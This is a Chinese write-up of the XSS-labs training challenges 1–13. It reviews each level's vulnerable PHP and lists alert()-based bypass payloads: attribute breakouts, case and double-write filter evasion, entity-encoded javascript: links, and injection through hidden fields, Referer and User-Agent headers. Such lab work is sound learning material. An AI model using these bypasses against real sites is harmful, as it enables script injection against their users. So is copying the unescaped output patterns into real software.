【安全】Xsslabs(1~13)基于白盒测试浅析

news2024/9/28 1:08:17

目录

环境

关卡

level 1 

level 2 

level 3 

level 4 

level 5 

level 6

level 7

level 8  

扩展 

 level 9

level 10

level 11 

 level 12

level 13 

 总结


环境

        PHP:php7.3.4nts 

        中间件:Nginx1.15.11

        工具:Hackbar

关卡

level 1 

 

 

代码审计:

  Dom反射型,url -> web

$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
//可以看到没有对输入有任何过滤
//意思就是我们可以任意操控$str的内容,那就可以用"把name的传的值先闭合了

//如果name的值传的是1"<script>alert</script>
//那解析后就会变成👇
echo "<h2 align=center>欢迎用户"1"<script>alert</script>"</h2>";

 

 byPass:考查 -- 闭合双引号

"<script>alert(xss)</script>
"<script>confirm('xss')</script>
"<script>alert(String.fromCharCode(65))</script>
"<a href="javascript:alert('xss')">aaa</a>
"<img src=1 onerror="alert('xss')">
"<svg onload=alert(1)>
"<video src=1 onerror=alert(1)>
"<button onfocus=alert(1) autofocus>
"<body onload=alert(1)>
"<iframe src="javascript:alert('1')"></iframe> (这个是成功的,只是不算过关而已)
"<iframe onload=alert(1)></iframe>
"<input onfocus=alert(1) autofocus>
(挑着没被过滤掉的用就行,后边也有能用着的)

  

level 2 

 

         初步观察有点像普通反射型xss(url -> 服务器 -> web)

代码审计:

$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
(发现这玩意两头通,如果走下面的input就是普通反射,走url就是dom反射)

注意:.htmlspecialchars($str).是把str中的" < > &都变成html实体了,
      所以不会解析出来,所以那里是走不通的 

byPass:考查 -- 闭合input标签 ">

"><img src=1 onerror="alert('xss')
"><script>alert(1)</script>
" onmouseover="alert(1) (也可也直接在input里玩)
//记着str的前后内容"'str'">
...

 

 

level 3 

 

        和2的样子差不多,直接试试2的bypass能过不 

         显然,没闭合上

代码审计:

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>

        分析 :这里很贴心的营造了能过关的环境,htmlspecialchars转换默认是不会转换 ' 的,所以只需要 ' 闭合value后,在input中使用on触发事件即可

        尝试  ' οnclick=alert(1)

         后边还差个单引号

bypass:考查 -- 在默认情况下绕过htmlspecialchars

' onclick=alert(1)'
' onmouseover='alert(1)
...

 

level 4 

 

 

 

        传个双引号发现前端变这样了,决定试一下" οnclick="alert(1) ..过了

代码审计:

$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
<input name=keyword  value="'.$str3.'">

   分析:只是把左右尖括号给替换掉了,不用标签就行,直接on触发事件

byPass:

" onclick="alert(1)
on...

 

level 5 

 

 

         感觉level4那些on事件能行,试上一试

 

         on被替换成o_n了

代码审计:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
<input name=keyword  value="'.$str3.'">

   分析:先是把传的值变小写了,然后把<script>和on都给屏蔽了,level1里边一堆bypass都没用到<script>直接抓来用,记得闭合value和input标签

byPass:

"<a href="javascript:alert('xss')">aaa</a>
不用on和<script>...

 

level 6

 

 

        传个双引号又把value闭合了,估计又过滤了一些输入

         试一试大小写绕过没," oNclick="alert(1)

        显然这个题应该考的就是大小写

代码审计 :

$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
<input name=keyword  value="'.$str6.'">

   分析:没把输入过滤大小写

 byPass:考查 -- 大小写绕过

" oNclick="alert(1)
大小写都没绕随便pass...

 

level 7

 

 

         反手试一下传个"

        说明还是在过滤上下功夫 

 代码审计:

$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword  value="'.$str6.'">

   分析:上面的双引号出不来闭合不上,只能从下边想办法,做了小写处理大小写绕过也不考虑了,之后过滤的东西太多,把我知道的差不多都过滤了, 但他的过滤是替换成空,直接双写拿下

byPass:考查 -- 双写绕过

" oonnclick="alert(1)
只要双写,bypass就多了 <scrscriptipt>等等,过滤后会去中间留两边

 

level 8  

 

        多了个新东西 

 

         随便试一下 " οnclick=alert(1)

        全被换成实体字符了,既然如此看能不能用关于a标签的绕过把友情链接那绕过了

         实验  " href="javascript:alert('xss')

老实代码审计:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
<input name=keyword  value="'.htmlspecialchars($str).'">
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';

扩展 

HTML字符实体:&lt;&gt;

HTML字符编码:&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;

URL编码:%61%6c%65%72%74%28%32%29

Unicode编码:\u0061\u006c\u0065\u0072\u0074

例子1:<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:

%61%6c%65%72%74%28%32%29">

解析过程:丢给html解析->检测到后边有url编码,丢给url解析器解析->发现有javascript:然后丢给js模块解析,js能把unicode(只能字符串和标识符 _ 字母 数字 )解析了

例子2:<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>

<script>只能容纳文本所以会直接丢给js处理,()不在字符串和标识符范围内,所以必须直接写不能用unicode编码,这里有意思的是,解析完按道理说是alert(12)但是12用了两个编码那就会被认成字符串,既然是字符串就要''所以这里也会解析失败

正确:<script>\u0061\u006c\u0065\u0072\u0074( '\u0031\u0032)</script>

byPass:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)
解析出来是javascript:alert(1)

 

 level 9

        先把level8的来试一试 

         看来是对输入进行了判断

代码审计:

$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
<input name=keyword  value="'.htmlspecialchars($str).'">
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

        试一下把alert(1) 换成 alert( 'http://' )

         成功了

byPass:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert('http://')

还可以把后边的alert换成url编码
&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28'http://'%29

 

level 10

 

         在前端代码里找到了点好玩的东西(下面的隐藏属性)

         传参看看能传进去不

 

        发现t_sort居然传进去了,直接动手换type

 

 

 

        现在t_sort的value到type的空间已经可以任意施为了 

 

 byPass:

keyword=1&t_sort=" onclick=alert(1) type="text"

 顺便看看代码:很明显能传俩参数

$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name="t_sort"  value="'.$str33.'" type="hidden">

 

level 11 

 

         有点像level 10再看看

        好家伙,多了个t_ref看着是个url从名字上来看是referer 

         传着看看

        t_ref没传进去,显然不是参数,t_sort传进去了?!莫非...

        ?keyword=1&t_sort=" type="text" 玩进去试试,没生效,看来是被过滤成文本了

 

代码审计:

$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">

  分析:t_sort的值用htmlspecialchars过滤了,逃不出去只能从t_ref动手,t_ref的值是referer所以传来试试

 

 byPass:

 

 level 12

 

 

         这属性有点眼熟

         实验一下

 

        通了,这算是一个题考两次了 

顺便看代码:

$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
<input name="t_ua"  value="'.$str33.'" type="hidden">

 

level 13 

 

 

        看着有点眼熟,cookies试一试

         错了,应该没这么简单,需要有正确的cookies

 

        这是现在的cookies

 byPass:

 

 

 总结

        这些xss都较为简单,包括了一些解析顺序,编码方式,请求头的一丢丢知识,但都只是selfxss,不堪大用,不过作为xss入门还是很好的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/737850.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

超长上下文处理:基于Transformer上下文处理常见方法梳理

原文链接&#xff1a;芝士AI吃鱼 目前已经采用多种方法来增加Transformer的上下文长度&#xff0c;主要侧重于缓解注意力计算的二次复杂度。 例如&#xff0c;Transformer-XL通过缓存先前的上下文&#xff0c;并允许随着层数的增加线性扩展上下文。Longformer采用了一种注意力…

【GLBCXX_3.4.21 not found】问题解决

问题描述 rootlocalhost:/home# rar -h rar&#xff1a;/lib64/libstdc.so.6 ,version "GLBCXX_3.4.21" not found 问题排查过程 下载相应的GCC源码&#xff0c;找到适合自己版本&#xff0c;这里选择是的是7.3.0 gcc源码下载地址&#xff1a;http://ftp.gnu.org/g…

fastadmin数据内容admin_id权限

/*** 是否开启数据限制* 支持auth/personal* 表示按权限判断/仅限个人* 默认为禁用,若启用请务必保证表中存在admin_id字段*/protected $dataLimit true;/*** 数据限制字段*/protected $dataLimitField admin_id;

第一次上传GitHub代码------教程、记录和踩雷

刚录用的一篇论文&#xff0c;编辑要求上传GitHub repo。 对于上传代码&#xff0c;本人是一无所知&#xff0c;写这篇博客记录一下 一. 创建代码仓库 点击右上角&#xff0c;选择New repository&#xff0c;来创建仓库&#xff1a; 根据提示&#xff0c;填写仓库的名称、描述…

TCP 协议(二)连接与断开

TCP 连接概述 TCP 协议是一种面向连接的、可靠的数据传输协议&#xff0c;同时 TCP 连接是全双工的&#xff0c;即连接的两端可以互传数据。在深入了解 TCP 连接之前&#xff0c;我们先来弄清楚整个 TCP 连接的过程&#xff0c;之后在深入整个数据报文结构来认识 TCP。 TCP连…

全网最全,adb常用命令大全(详细)全覆盖,看这篇就够了..

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 adb 模拟按键输入…

python subprocess执行外部命令常用方法

subprocess模块是Python标准库中的一个模块&#xff0c;用于创建和控制子进程。它提供了一种在Python程序中调用其他外部命令、执行系统命令和与系统进程进行交互的方法。常用的有两种方法&#xff1a;subprocess.run()&#xff0c;subprocess.Popen() 1. subprocess.run()方法…

回顾类与对象:掌握String探索其模拟实现的沉浸式体验

目录 一.STL简介二.string的模拟实现1.成员变量与(拷贝)构造、析构函数2.运算符重载[ ]3.添加数据与扩容4.赋值运算符重载及其他重载5.其他函数 一.STL简介 标准模板库 STL是C标准库的重要组成部分&#xff0c;stl分为六大组件&#xff1a;算法、容器、迭代器、空间适配器、仿…

NLP实战7:seq2seq翻译实战-Pytorch复现

&#x1f368; 本文为[&#x1f517;365天深度学习训练营]内部限免文章&#xff08;版权归 *K同学啊* 所有&#xff09; &#x1f356; 作者&#xff1a;[K同学啊] &#x1f4cc; 本周任务&#xff1a; ●请根据N5、N6周内容&#xff0c;为解码器添加上注意力机制 一、前期准备…

常用分类损失CE Loss、Focal Loss及GHMC Loss理解与总结

一、CE Loss 定义 交叉熵损失&#xff08;Cross-Entropy Loss&#xff0c;CE Loss&#xff09;能够衡量同一个随机变量中的两个不同概率分布的差异程度&#xff0c;当两个概率分布越接近时&#xff0c;交叉熵损失越小&#xff0c;表示模型预测结果越准确。 公式 二分类 二…

【QT】QT搭建OpenCV环境

QT/OpenCV 01、开始之前02、QT03、CMake04、OpenCV05、配置06、测试 01、开始之前 本文版本&#xff1a; 1、QT&#xff1a;Based on Qt 5.12.2 (MSVC 2017, 32 bit)&#xff0c;编译方式是MinGW 2、CMake&#xff1a;cmake-3.27.0-rc4-windows-x86_64.msi 3、OpenCV&#xff1…

2023年值得入手的开放式耳机推荐,蓝牙耳机的选购指南分享推荐

身为一个音乐爱好者&#xff0c;出于对音质和佩戴舒适的追求&#xff0c;也有入手了很多品类的耳机&#xff0c;其中不乏有有线耳机、无线蓝牙耳机&#xff0c;两种不同的音频传输方式大类&#xff0c;其各自所拥有的特性也是不同的。而居于后者的无线蓝牙耳机&#xff0c;在现…

【Java基础教程】(八)面向对象篇 · 第二讲:Java 数组全面解析——动态与静态初始化、二维数组、方法参数传递、排序与转置、对象数组、操作API~

Java基础教程之面向对象 第二讲 本节学习目标1️⃣ 概念1.1 动态初始化1.2 静态初始化 2️⃣ 二维数组3️⃣ 数组与方法参数的传递4️⃣ 数组排序5️⃣ 数组转置6️⃣ 对象数组7️⃣ 数组操作API7.1 数组复制7.2 数组排序 &#x1f33e; 总结 本节学习目标 掌握数组的动态及静…

水库监测中仪器安装及监测结果的要求有哪些

水库监测点位布设需要根据水库运行情况和安全监测的需求来进行&#xff0c;一般分为基础监测点位和重要部位监测点位&#xff0c;基础监测点位主要包括上游水位、上游库水位变幅、库岸稳定以及上下游坝坡稳定等。重要部位监测点位主要包括坝轴线、溢洪道进口和泄水洞出口等部位…

前端报错:“Uncaught SyntaxError: missing ) after argument list“只是参数列表后面缺少 “)”?

报错"Uncaught SyntaxError: missing ) after argument list"&#xff0c;字面翻译过来的意思&#xff1a;语法错误: 参数列表后面缺少 )。 一直以为是少了 一个小括号找了好久 发现并不是 据提示是参数列表的问题&#xff0c;找到文件中存在参数列表的地方。如下图…

如何利用MyBatis完成web项目的环境搭建(导入核心依赖包、日志、编译环境,配置文件以及Druid连接池)

目录 项目环境搭建 servlet实例 核心依赖 导入日志 编译环境 mapper注册 resouces中 dao中 MyBatis配置文件 实例效果 导入配置文件 Druid连接池 Druid连接池是什么&#xff1f; 如何配置Druid连接池&#xff1f; 实体类 实例效果 项目环境搭建 1.在pom.xml中…

STM32 Proteus UCOSII系统锅炉报警系统设计压力温度水位-0059

STM32 Proteus UCOSII系统锅炉报警系统设计压力温度水位-0059 Proteus仿真小实验&#xff1a; STM32 Proteus UCOSII系统锅炉报警系统设计压力温度水位-0059 功能&#xff1a; 硬件组成&#xff1a;51单片机 8位数码管MAX7219数码管驱动模块多个按键LED灯蜂鸣器 1.准确测量…

IronOCR for .NET 2023.7.0 Crack

IronOCR for .NET 关于 读取 .NET 应用程序中图像和 Pdf 文本的高级 OCR &#xff08;光学字符识别&#xff09; 库。 IronOCR for .NET enables software engineers to read text content from images & PDFs in .NET applications and Web sites. Read text and barcod…

HarmonyOS/OpenHarmony应用开发-程序包安装、卸载、更新流程

一、应用程序包安装和卸载流程 1.开发者 开发者可以通过调试命令进行应用的安装和卸载&#xff0c;可参考多HAP的调试流程。 图1 应用程序包安装和卸载流程&#xff08;开发者&#xff09; 2.终端设备用户 开发者将应用上架应用市场后&#xff0c;终端设备用户可以在终端设…

python_day4_dict

字典dict:键值对(无重复,无下标索引&#xff09; my_dict {python: 99, java: 88, c: 77, c: 66} my_dict2 {} # 空字典 my_dict3 dict() print(f"my_dict:{my_dict},类型为&#xff1a;{type(my_dict)}") print(f"my_dict2:{my_dict2},类型为&#xff1a;…